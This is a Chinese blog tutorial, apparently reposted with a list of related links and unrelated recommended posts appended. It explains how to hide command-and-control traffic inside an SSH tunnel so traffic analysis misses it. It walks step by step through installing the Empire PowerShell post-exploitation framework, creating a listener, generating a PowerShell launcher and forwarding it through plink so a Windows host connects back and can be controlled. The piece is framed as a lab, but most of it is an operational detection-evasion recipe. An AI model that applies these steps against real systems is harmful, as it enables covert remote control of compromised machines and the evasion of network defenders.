在网络攻防博弈中,网络流量特征分析类安全防御措施得到了广泛应用。众多厂商和企业对网络流量进行恶意流量分析检测,从而针对性的采取防御措施,如各级ISP在骨干网络设备上大多采用网络流量分析检测的防御方案。
一、背景简介

在网络攻防博弈中,网络流量特征分析类安全防御措施得到了广泛应用。众多厂商和企业对网络流量进行恶意流量分析检测,从而针对性的采取防御措施,如各级ISP在骨干网络设备上大多采用网络流量分析检测的防御方案。
本文想通过标准的SSH的端口转发建立SSH形式的加密隧道,用于加密、隐蔽传输恶意流量,从而避免通过流量检测发现恶意行为。复现实验部分以C&C通信流量为例进入实验。通过SSH隧道进行加密和隐藏的C&C流量在外部流量特征分析仅表现为标准SSH流量。

二、实验原理

本次实验使用Empire工具快速搭建C&C信道,本文只简要介绍对于Empire工具。在Windows平台下使用Plink.exe工具的SSH功能搭建SSH隧道。

2.1 SSH隧道介绍

SSH 会自动加密和解密所有 SSH 客户端与服务端之间的网络数据。但是, SSH 还能够将其他 TCP 端口的网络数 据通过 SSH 链接来转发,并且自动提供了相应的加密及解密服务。这一过程也被叫做“隧道”( tunneling),这是因 为 SSH 为其他 TCP 链接提供了一个安全的通道来进行传输而得名。SSH隧道的实现主要使用SSH的参数配置进行端 口转发,即将所需传输的数据内容通过加密的SSH隧道进行转发。 SSH 端口转发能够提供两大功能:1、加密 SSH Client 端至 SSH Server 端之间的通讯数据。2、突破防火墙的限制完成一些之前无法建立的 TCP 连接。
由于SSH的安全性,在数据跨越公网时其他人无法得知数据内容。SSH端口转发有本地转发、远程转发和动态端 口转发三种。本次实验主要以本地转发为例。

本地转发主要使用SSH的 -L参数解释:


(1) 第1部分,-L选项表示使用“本地转发”建立ssh隧道。“本地转发”表示本地的某个端口上的通讯数据会被转发到目标主机的对应端口。
(2) 第2部分表示:通讯数据会从本地的9906端口上被转发,最终被转发到10.1.0.2的3306端口。
(3) 第3部分表示:我们创建的ssh隧道是连接到10.1.0.2上的root用户。

2.2 Empire工具简介

Empire是一个针对windows平台、提供从Stager生成到提取和渗透维持一系列功能齐全的渗透攻击框架,其最 大的特点是以PowerShell脚本作为攻击载荷,而且Empire实现了无需powerShell.exe就可运行PowerShell代理功 能,即它是一个纯粹的PowerShell后期漏洞利用代理工具。快速部署后期漏洞利用模块,内置模块有键盘记录、 Mimikatz、绕过UAC、内网扫描等等,并且能够适应通信躲避网络检测和大部分安全防护工具的查杀,简单来说 Empire类似于渗透神器Metasploit,是一个基于PowerShell的远程控制木马。

2.2 Empire工具安装

在实验虚拟linux系统中安装

git clone https://github.com/EmpireProject/Empire.git #进入setup目录进行命令行安装 cd Empire cd setup sudo ./install.sh

安装成功后,确认Empire目录下所有文件(目录)如下图:
使用 ./empire启动Empire如下图,则成功安装。

三、实验步骤

实验说明:使用两台虚拟机ubuntu16 + windows 7,其中ubuntu16模拟控制端,windows 7模拟受控主机。

3.1 在ubuntu系统上搭建SSH服务端

(1) 安装Open-SSH Server端

sudo apt-get install openssh-server

(2) 配置SSH Server端
编辑/etc/ssh/sshd_config文件中允许口令登录PermitRootLogin配置如下图:

(3) 测试SSH登录是否成功
查看本机IP(linux命令:ifconfig),如在windows下的XShell工具下输入Server IP 输入登录名和密码,成功登入系统则SSH Server端搭建成功。
注:需要重启sshd服务:/etc/init.d/ssh resar
(4) 配置RSA密钥对认证登录
a) 生成rsa密钥对

ssh-keygen -t rsa

b) 开启sshd支持RSA认证选项,并添加认证公钥路径地址
c) 编辑/etc/ssh/sshd_config文件中的PubkeyAuthentication选项配置为yes,即:
d) 复制公钥到某用户home目录下的.ssh文件夹下,注必须使用以下命令在受控主机(本次实验使用win 7进行模拟)进行复制,否则文件权限设置易出错。

ssh-copy-id -i id_rsa.pub 主机登录用户名@192.168.81.137

e) 使用私钥进行登录ssh登录
ssh -i 私钥路径 主机登录用户名@192.168.81.137
注:使用putty、winscp等工具时需要先使用对应平台工具进行rsa私钥导入后转化为相对应文件格式,如本次实验使用putty工具导入生成私钥文件sshrsa.ppk。

3.2 使用Empire工具生成PowerShell脚本备用

Empire工具类似Metasploit,详细使用教程可参考一篇文章精通PowerShell Empire。
本次实验使用Empire生成简单的PowerShell脚本,建立最简单的C&C通信。下面简单概括主要步骤。
(1) 设置监听
listeners #进入的界面下可输入list查看以设置的监听 uselistener http #输入 info查看必填参数 set Name 4444 #本次实验通过SSH隧道通信,因此设置监听127.0.0.1:4444 set Port 4444 set Host 127.0.0.1 execute #创建命为4444的监听,监听127.0.0.1:4444上通信数据
示例如下:

(2) 生成简单的PowerShell利用脚本(针对windows)
launcher powershell 4444 # 4444为设置的监听名字 #可进入tagers生成其他木马、远控程序,本次实验直接生成最简单PowerShell利用脚本
注:生成的Powershell代码直接复制并保存,以备在受控windows主机(win7、win10)执行。

3.3 搭建SSH隧道

(1) windows下使用Plink.exe(putty工具集中可以在windows系统下使用命令行进行SSH连接)连接SSHServer
#需要首先进入Plink.exe文件所在路径 Plink.exe -ssh -l 登录用户名 -pw 登录密码 SSH主机IP
(2) Plink相关参数

-ssh 指定使用特定连接协议
-l 指定登录用户名
-i 指定RSA私钥登录
-L 本地转发

(3) Plink端口转发设计

plink.exe -ssh -i sshrsa.ppk am00n@192.168.81.137 -L 4444:192.168.81.137:4444

将本地端口(4444)转发到远程目标主机(192.168.81.137)的目标端口(4444)。
注意:以上命令执行成功后,需要保持命令行不要关闭。同时可以组合使用SSH的其他参数进行后台运行、不交互等。
(4) 使用(2)中生成的PowerShell脚本,使受控主机上线
a) windows 7虚拟机另外开启一个CMD窗口,复制PowerShell脚本执行。可以看到受控主机以上线。
5) ubuntu端切换到agents界面,list命令查看如图:
6) 通过interact命令则可以使用以建立的控制信道控制受控主机,如通过简单的ls命令测试成功如下图:
7) 至此以成功使用SSH隧道传输C&C通信流量,后续可在此基础上设计实现其他C&C控制命令及其它恶意功能。

四、总结

通过本次实验可以看出,攻击者可以利用类似SSH的公共服务或可用技术辅助攻击,且其实现也非常容易。

关键步骤总结:

(1) 搭建SSH服务,并配置为RSA私钥登录(也可以配置为免密登录)。
(2) 使用工具(如Empire、Metasploit等)构建C&C。
(3) 利用SSH的端口转发搭建SSH隧道。
(4) 配置C&C和SSH参数使二者配合实现加密、隐藏恶意流量的目的。

利用SSH隧道加密技术隐蔽C&C通信流量的更多相关文章

  1. 利用SSH隧道技术穿越内网访问远程设备

    本文为作者原创,转载请注明出处:https://www.cnblogs.com/leisure_chn/p/11899478.html 通常,我们用于调试的计算机无法远程访问位于局域网中的待调试设备. ...

  2. [视频教程]利用SSH隧道进行远程腾讯云服务器项目xdebug调试

    我的远程服务器是腾讯云的ubuntu系统机器,本地我的电脑系统是deepin的系统,使用的IDE是vscode.现在就来使用本地的IDE来调试腾讯云中为网站项目实现逻辑是访问网站域名后,请求被转发给腾 ...

  3. SSH隧道技术----端口转发,socket代理

    原文的原始出处不详,本文也是在复制引用了某篇转载,并做了必要的整理与编辑. 本文的受众 如果你遇到了以下问题,那么你应该阅读这篇文章 我听说过这种技术,我对它很感兴趣 我想在家里访问我在公司的机器(写 ...

  4. SSH隧道技术简介

    本文的受众如果你遇到了以下问题,那么你应该阅读这篇文章 我听说过这种技术,我对它很感兴趣 我想在家里访问我在公司的机器(写程序,查数据,下电影). 公司为了防止我们用XX软件封锁了它的端口或者服务器地 ...

  5. 【原创】利用动态二进制加密实现新型一句话木马之PHP篇

    概述 本系列文章重写了java..net.php三个版本的一句话木马,可以解析并执行客户端传递过来的加密二进制流,并实现了相应的客户端工具.从而一劳永逸的绕过WAF或者其他网络防火墙的检测. 本来是想 ...

  6. ssh隧道详解与案例利用讲解

    原文阅读:https://www.52stu.org/?p=206 你是否有过自己身处内网,却想整个远控上线?你是否有过身处目标内网,却想把目标的内网的Linux的ssh转发出来?你是否想过穿透多层网 ...

  7. ssh隧道技术

    大家都知道SSH是一种安全的传输协议,用在连接服务器上比较多.不过其实除了这个功能,它的隧道转发功能更是吸引人.下面是个人根据自己的需求以及在网上查找的资料配合自己的实际操作所得到的一些心得. SSH ...

  8. Linux SSH隧道技术(端口转发,socket代理)

    动态转发(SOCKS5代理): 命令格式:ssh -D <local port> <SSH Server> ssh -fnND 0.0.0.0:20058 172.16.50. ...

  9. 通过 SSH 隧道方式图形化连接 AIX 服务器

    跳转到主要内容 登录 (或注册) 中文 [userid] IBM ID: 密码: 保持登录. 单击提交则表示您同意developerWorks 的条款和条件. 查看条款和条件. 需要一个 IBM ID ...

随机推荐

  1. php的CI框架相关数据库操作

    在使用之前首先应该配置数据库的参数,详见文件application/config/database.php,里面包含主机名,登陆用户名,登录密码,数据库名,编码信息等. 在配置成功后,可以简单的调用: ...

  2. 短视频正当时,如何让你的App快速构建视频创作能力?

    视频编辑服务(Video Editor Kit)是华为开放给开发者快速构建视频编辑能力的服务,提供视频导入.编辑处理.特效渲染.视频导出.媒体资源管理等一站式视频处理能力.视频编辑服务为全球开发者提供 ...

  3. Python中hash加密

    目录 简介 概念 特点 hash有哪些 算法碰撞 加盐防碰撞 加密 hashlib 主要方法 特有方法 使用方法 加盐 crypt 主要方法 使用说明 应用 密码加密 应用一致性校验 简介 概念 散列 ...

  4. 关于python 爬虫遇到的反盗链

    首先声明:目标网址是从别人案例里得到的,内容你懂的... 本来闲来无事,学习下爬虫的知识,遇到恶心的反盗链,好在目标网址防盗链简单,代码里注明了如何去查看目标网址的防盗检查: 防盗链原理 http标准 ...

  5. Python:使用pyinstaller打包含有gettext locales语言环境的项目

    问题 如何使用 pyinstaller 打包使用了 gettext 本地化的项目,最终只生成一个 exe 文件 起因 最近在用 pyhton 做一个图片处理的小工具,顺便接触了一下 gettext,用 ...

  6. Windows 10 Version 21h1安装

    好久没安装过Windows 10系统了,这两天在下载电脑管家时,使用bing搜索,没注意就选择了第一个,安装后,噩梦就来了,非法广告.各种软件的推送,怎么也清不干净. 没办法,到PCBeta下载了最新 ...

  7. 【故障公告】数据库服务器 CPU 100% 引发全站故障

    今天 11:12-12:03 期间,园子使用的阿里云 RDS 实例(SQL Server2016 标准版,16核CPU)出现 CPU 100% 问题,引发全站故障,由此给您带来麻烦,请您谅解. 发现故 ...

  8. SpringBoot前后端数组交互

    前端 后端 Gitee地址 https://gitee.com/zhuayng/foundation-study.git 参考 https://blog.csdn.net/qq_34091758/ar ...

  9. 常见消息处理api

    面试:子线程一定不能更新UI? SurfaceView :多媒体视频播放 ,可以在子线程中更新UI: Progress(进度)相关的控件:也是可以在子线程中更新Ui;审计机制:activity完全显示 ...

  10. centOS 强制卸载PHP

    centOS上的php过低是需要重新安装时,不得不卸载自定义安装,如下操作 查看php版本命令: #php -v 这个命令是删除不干净的 #yum remove php 因为使用这个命令以后再用 #p ...